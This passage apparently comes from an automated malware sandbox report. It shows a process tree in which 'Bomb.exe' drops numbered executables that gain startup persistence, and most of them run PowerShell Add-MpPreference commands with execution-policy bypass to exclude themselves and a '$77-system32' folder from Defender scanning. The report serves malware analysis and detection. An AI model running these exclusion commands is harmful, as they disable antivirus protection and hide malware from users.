                            PID:9104
                        • C:\Users\Admin\AppData\Local\Temp\Bomb.exe
                          "C:\Users\Admin\AppData\Local\Temp\Bomb.exe"
                          2⤵
                          • Checks computer location settings
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:2896
                          • C:\Users\Admin\AppData\Local\Temp\25.exe
                            "C:\Users\Admin\AppData\Local\Temp\25.exe"
                            3⤵
                            • Checks computer location settings
                            • Drops startup file
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1592
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\25.exe'
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:5888
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '25.exe'
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              PID:6404
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              PID:3744
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              PID:6364
                          • C:\Users\Admin\AppData\Local\Temp\24.exe
                            "C:\Users\Admin\AppData\Local\Temp\24.exe"
                            3⤵
                            • Checks computer location settings
                            • Drops startup file
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1600
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\24.exe'
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:5632
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '24.exe'
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              PID:6708
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              PID:4868
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              PID:6168
                          • C:\Users\Admin\AppData\Local\Temp\23.exe
                            "C:\Users\Admin\AppData\Local\Temp\23.exe"
                            3⤵
                            • Checks computer location settings
                            • Drops startup file
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3508
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\23.exe'
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              PID:5996
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '23.exe'
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:6872
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:4108
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              PID:5756
                          • C:\Users\Admin\AppData\Local\Temp\22.exe
                            "C:\Users\Admin\AppData\Local\Temp\22.exe"
                            3⤵
                            • Checks computer location settings
                            • Drops startup file
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4728
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\22.exe'
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              PID:9028
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '22.exe'
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              PID:7224
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              PID:7592
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              PID:8776
                          • C:\Users\Admin\AppData\Local\Temp\21.exe
                            "C:\Users\Admin\AppData\Local\Temp\21.exe"
                            3⤵
                            • Checks computer location settings
                            • Drops startup file
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2696
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\21.exe'
                              4⤵
                                PID:7900
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '21.exe'
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:9528
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                4⤵
                                  PID:9132
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                  4⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  PID:7456
                              • C:\Users\Admin\AppData\Local\Temp\20.exe
                                "C:\Users\Admin\AppData\Local\Temp\20.exe"
                                3⤵
                                • Checks computer location settings
                                • Drops startup file
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3044
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\20.exe'
                                  4⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  PID:6232
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '20.exe'
                                  4⤵
                                    PID:9348
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                    4⤵
                                      PID:9340
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:6280
                                  • C:\Users\Admin\AppData\Local\Temp\19.exe
                                    "C:\Users\Admin\AppData\Local\Temp\19.exe"
                                    3⤵
                                    • Checks computer location settings
                                    • Drops startup file
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:300
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\19.exe'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:6796
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '19.exe'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:212
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:10216
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:10104
                                  • C:\Users\Admin\AppData\Local\Temp\18.exe
                                    "C:\Users\Admin\AppData\Local\Temp\18.exe"
                                    3⤵
                                    • Checks computer location settings
                                    • Drops startup file
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2412
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\18.exe'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:8904
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '18.exe'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:7152
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:9692
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:9996
                                  • C:\Users\Admin\AppData\Local\Temp\17.exe
                                    "C:\Users\Admin\AppData\Local\Temp\17.exe"
                                    3⤵
                                    • Checks computer location settings
                                    • Drops startup file
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:3484
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\17.exe'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:7376
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '17.exe'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:6636
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:3136
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:9624
                                  • C:\Users\Admin\AppData\Local\Temp\16.exe
                                    "C:\Users\Admin\AppData\Local\Temp\16.exe"
                                    3⤵
                                    • Checks computer location settings
                                    • Drops startup file
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1504
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\16.exe'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:6996
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '16.exe'
                                      4⤵
                                        PID:9040
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:8668
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:9956
                                    • C:\Users\Admin\AppData\Local\Temp\15.exe
                                      "C:\Users\Admin\AppData\Local\Temp\15.exe"
                                      3⤵
                                      • Checks computer location settings
                                      • Drops startup file
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4960
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\15.exe'
                                        4⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:6672
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '15.exe'
                                        4⤵
                                          PID:9732
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                          4⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          PID:10180
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                          4⤵
                                            PID:9756
                                        • C:\Users\Admin\AppData\Local\Temp\14.exe
                                          "C:\Users\Admin\AppData\Local\Temp\14.exe"
                                          3⤵
                                          • Checks computer location settings
                                          • Drops startup file
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:964
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\14.exe'
                                            4⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            PID:2092
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '14.exe'
                                            4⤵
                                              PID:8476
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                              4⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              PID:2792
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                              4⤵
                                                PID:5192
                                            • C:\Users\Admin\AppData\Local\Temp\13.exe
                                              "C:\Users\Admin\AppData\Local\Temp\13.exe"
                                              3⤵
                                              • Checks computer location settings
                                              • Drops startup file
                                              • Executes dropped EXE
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2484
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\13.exe'
                                                4⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:7184
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '13.exe'
                                                4⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                PID:5732
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                                4⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                PID:9912
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                                4⤵
                                                  PID:2912
                                              • C:\Users\Admin\AppData\Local\Temp\12.exe
                                                "C:\Users\Admin\AppData\Local\Temp\12.exe"
                                                3⤵
                                                • Checks computer location settings
                                                • Drops startup file
                                                • Executes dropped EXE
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:5048
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\12.exe'
                                                  4⤵
                                                  • Command and Scripting Interpreter: PowerShell
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:404
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '12.exe'
                                                  4⤵
                                                  • Command and Scripting Interpreter: PowerShell
                                                  PID:8064
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                                  4⤵
                                                  • Command and Scripting Interpreter: PowerShell
                                                  PID:9788
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                                  4⤵
                                                    PID:7824
                                                • C:\Users\Admin\AppData\Local\Temp\11.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\11.exe"
                                                  3⤵
                                                  • Checks computer location settings
                                                  • Drops startup file
                                                  • Executes dropped EXE
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:3280
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\11.exe'
                                                    4⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:7196
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '11.exe'
                                                    4⤵
                                                      PID:9820
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                                      4⤵
                                                        PID:7328
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                                        4⤵
                                                          PID:1852
                                                      • C:\Users\Admin\AppData\Local\Temp\10.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\10.exe"
                                                        3⤵
                                                        • Checks computer location settings
                                                        • Drops startup file
                                                        • Executes dropped EXE
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:5008
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\10.exe'
                                                          4⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:6344
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '10.exe'
                                                          4⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          PID:8420
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                                          4⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          PID:9360
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                                          4⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          PID:10144
                                                      • C:\Users\Admin\AppData\Local\Temp\9.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\9.exe"
                                                        3⤵
                                                        • Checks computer location settings
                                                        • Drops startup file
                                                        • Executes dropped EXE
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:3224
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\9.exe'
                                                          4⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:7108
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '9.exe'
                                                          4⤵
                                                            PID:8684
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                                            4⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            PID:7348
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                                            4⤵
                                                              PID:7708
                                                          • C:\Users\Admin\AppData\Local\Temp\8.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\8.exe"
                                                            3⤵
                                                            • Checks computer location settings
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:456
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\8.exe'
                                                              4⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              PID:2952
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '8.exe'
                                                              4⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              PID:8348
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                                              4⤵
                                                                PID:7524
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                                                4⤵
                                                                  PID:10004
                                                              • C:\Users\Admin\AppData\Local\Temp\7.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\7.exe"
                                                                3⤵
                                                                • Checks computer location settings
                                                                • Drops startup file
                                                                • Executes dropped EXE
                                                                PID:1872
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7.exe'
                                                                  4⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:3744
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '7.exe'
                                                                  4⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  PID:8360
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                                                  4⤵
                                                                    PID:4920
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                                                    4⤵
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    PID:8700
                                                                • C:\Users\Admin\AppData\Local\Temp\6.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\6.exe"
                                                                  3⤵
                                                                  • Checks computer location settings
